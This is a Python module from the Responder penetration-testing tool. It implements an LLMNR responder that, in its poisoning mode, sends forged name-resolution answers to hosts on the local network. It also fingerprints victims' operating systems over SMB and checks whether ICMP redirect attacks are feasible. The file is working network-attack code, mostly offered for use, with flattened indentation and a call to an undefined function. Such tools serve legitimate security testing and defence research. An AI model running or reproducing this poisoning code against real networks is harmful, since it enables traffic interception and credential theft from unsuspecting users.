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94 lines
3.1 KiB
Python
94 lines
3.1 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder
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# Original work by Laurent Gaffie - Trustwave Holdings
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#
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import socket
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import struct
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import settings
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import fingerprint
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from packets import LLMNR_Ans
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from odict import OrderedDict
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from SocketServer import BaseRequestHandler
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from utils import *
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def Parse_LLMNR_Name(data):
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NameLen = struct.unpack('>B',data[12])[0]
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Name = data[13:13+NameLen]
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return Name
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def IsOnTheSameSubnet(ip, net):
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net = net+'/24'
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ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
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netstr, bits = net.split('/')
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netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
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mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
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return (ipaddr & mask) == (netaddr & mask)
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def IsICMPRedirectPlausible(IP):
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dnsip = []
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for line in file('/etc/resolv.conf', 'r'):
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ip = line.split()
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if len(ip) < 2:
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continue
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if ip[0] == 'nameserver':
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dnsip.extend(ip[1:])
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for x in dnsip:
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if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
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print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
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print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
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print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
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else:
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pass
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if settings.Config.AnalyzeMode:
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AnalyzeICMPRedirect(settings.Config.Bind_To)
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# LLMNR Server class
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class LLMNR(BaseRequestHandler):
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def handle(self):
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data, soc = self.request
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Name = Parse_LLMNR_Name(data)
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# Break out if we don't want to respond to this host
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if RespondToThisHost(self.client_address[0], Name) is not True:
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return None
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if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
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if settings.Config.Finger_On_Off:
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Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
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else:
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Finger = None
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# Analyze Mode
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if settings.Config.AnalyzeMode:
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LineHeader = "[Analyze mode: LLMNR]"
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print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
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# Poisoning Mode
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else:
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Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
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Buffer.calculate()
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soc.sendto(str(Buffer), self.client_address)
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LineHeader = "[*] [LLMNR]"
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print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
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if Finger is not None:
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print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
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print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
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